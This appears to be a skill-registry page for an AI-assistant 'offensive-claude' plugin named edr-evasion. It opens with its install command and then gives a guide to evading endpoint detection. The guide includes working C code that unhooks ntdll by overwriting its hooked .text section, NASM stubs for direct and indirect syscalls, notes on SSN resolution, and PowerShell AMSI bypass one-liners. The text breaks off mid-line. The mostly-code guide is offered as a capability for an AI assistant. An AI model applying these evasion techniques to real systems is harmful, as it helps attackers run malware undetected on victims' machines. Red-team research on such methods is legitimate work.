$npx -y skills add hypnguyen1209/offensive-claude --skill edr-evasionUse when bypassing EDR/AV to run a payload — hook unhooking, direct/indirect syscalls, PPID spoofing, process injection, AMSI bypass, ETW patching, memory/sleep encryption, behavioral evasion
| 1 | # EDR Evasion |
| 2 | |
| 3 | ## When to Activate |
| 4 | |
| 5 | - Planning EDR bypass during red team engagements |
| 6 | - Researching AV/EDR evasion techniques |
| 7 | - Developing implants that must survive endpoint detection |
| 8 | - Testing detection capabilities of security products |
| 9 | |
| 10 | ## Fundamentals |
| 11 | |
| 12 | ### AV vs EDR |
| 13 | |
| 14 | **Antivirus (preventive)**: |
| 15 | - Static analysis: matching known signatures in files |
| 16 | - Dynamic analysis: limited behavioral monitoring/sandboxing |
| 17 | - Effective against known threats, weaker against advanced attacks |
| 18 | |
| 19 | **EDR (proactive & investigative)**: |
| 20 | - Continuous endpoint monitoring |
| 21 | - Behavioral analysis at kernel level |
| 22 | - Anomaly detection and post-compromise visibility |
| 23 | - Prioritizes incident response and investigation |
| 24 | |
| 25 | ### Windows Execution Flow |
| 26 | |
| 27 | ``` |
| 28 | Application → DLL (kernel32/ntdll) → Syscall → Kernel (ntoskrnl) |
| 29 | ↑ |
| 30 | EDR hooks here |
| 31 | (userland hooks in ntdll) |
| 32 | ``` |
| 33 | |
| 34 | ## Hook Unhooking |
| 35 | |
| 36 | ### Userland Unhooking (ntdll.dll) |
| 37 | |
| 38 | EDRs hook ntdll functions by replacing the first bytes with a JMP to their inspection code. |
| 39 | |
| 40 | ```c |
| 41 | // Method 1: Map fresh ntdll from disk |
| 42 | HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); |
| 43 | HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); |
| 44 | LPVOID freshNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); |
| 45 | |
| 46 | // Get .text section of loaded ntdll |
| 47 | HMODULE loadedNtdll = GetModuleHandleA("ntdll.dll"); |
| 48 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)loadedNtdll; |
| 49 | PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)loadedNtdll + dosHeader->e_lfanew); |
| 50 | PIMAGE_SECTION_HEADER textSection = IMAGE_FIRST_SECTION(ntHeaders); |
| 51 | |
| 52 | // Overwrite hooked .text with clean copy |
| 53 | DWORD oldProtect; |
| 54 | VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress), |
| 55 | textSection->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect); |
| 56 | memcpy((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress), |
| 57 | (LPVOID)((BYTE*)freshNtdll + textSection->VirtualAddress), |
| 58 | textSection->Misc.VirtualSize); |
| 59 | VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress), |
| 60 | textSection->Misc.VirtualSize, oldProtect, &oldProtect); |
| 61 | ``` |
| 62 | |
| 63 | ```c |
| 64 | // Method 2: Map from KnownDlls (avoids disk read) |
| 65 | HANDLE hSection; |
| 66 | UNICODE_STRING name; |
| 67 | RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll"); |
| 68 | OBJECT_ATTRIBUTES oa = { sizeof(oa), NULL, &name, 0, NULL, NULL }; |
| 69 | NtOpenSection(&hSection, SECTION_MAP_READ, &oa); |
| 70 | PVOID freshNtdll = NULL; |
| 71 | SIZE_T viewSize = 0; |
| 72 | NtMapViewOfSection(hSection, GetCurrentProcess(), &freshNtdll, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READONLY); |
| 73 | ``` |
| 74 | |
| 75 | ### Kernel-Level Unhooking Detection |
| 76 | |
| 77 | Some EDRs use kernel callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) — these cannot be bypassed from userland alone. Requires: |
| 78 | - BYOVD (Bring Your Own Vulnerable Driver) to unload/disable kernel callbacks |
| 79 | - Direct kernel object manipulation (DKOM) |
| 80 | |
| 81 | ## Direct & Indirect Syscalls |
| 82 | |
| 83 | ### Direct Syscalls |
| 84 | |
| 85 | Skip ntdll entirely — call the syscall instruction directly: |
| 86 | |
| 87 | ```nasm |
| 88 | ; NtAllocateVirtualMemory syscall (Windows 10 21H2) |
| 89 | mov r10, rcx |
| 90 | mov eax, 0x18 ; syscall number (varies by Windows version!) |
| 91 | syscall |
| 92 | ret |
| 93 | ``` |
| 94 | |
| 95 | **Tools**: SysWhispers3, HellsGate, HalosGate, TartarusGate |
| 96 | |
| 97 | ### Indirect Syscalls |
| 98 | |
| 99 | JMP to the `syscall; ret` instruction inside ntdll (avoids "syscall from non-ntdll" detection): |
| 100 | |
| 101 | ```nasm |
| 102 | ; Find syscall;ret gadget in ntdll |
| 103 | mov r10, rcx |
| 104 | mov eax, SSN ; System Service Number |
| 105 | jmp [ntdll_syscall_ret_addr] ; JMP to syscall;ret in ntdll |
| 106 | ``` |
| 107 | |
| 108 | **Why indirect**: Some EDRs check the return address of syscalls — if it's not within ntdll's address range, it's flagged. |
| 109 | |
| 110 | ### SSN Resolution |
| 111 | |
| 112 | ```c |
| 113 | // HellsGate: read SSN from ntdll function prologue |
| 114 | // Clean function: mov r10, rcx; mov eax, SSN; ... |
| 115 | // Hooked function: jmp <hook_addr> (first bytes replaced) |
| 116 | // HalosGate: if hooked, look at neighbor functions (SSN ± 1) |
| 117 | // TartarusGate: walk further neighbors if immediate ones also hooked |
| 118 | ``` |
| 119 | |
| 120 | ## AMSI Bypass |
| 121 | |
| 122 | ```powershell |
| 123 | # Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN |
| 124 | [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) |
| 125 | |
| 126 | # Alternative: patch in memory |
| 127 | $a=[Ref].Assembly.GetType('System.Management.Automation.A]msiUtils') |
| 128 | $b=$a.GetField('amsiContext','NonPublic,Static') |
| 129 | [IntPtr]$ptr=$b.GetValue($nul |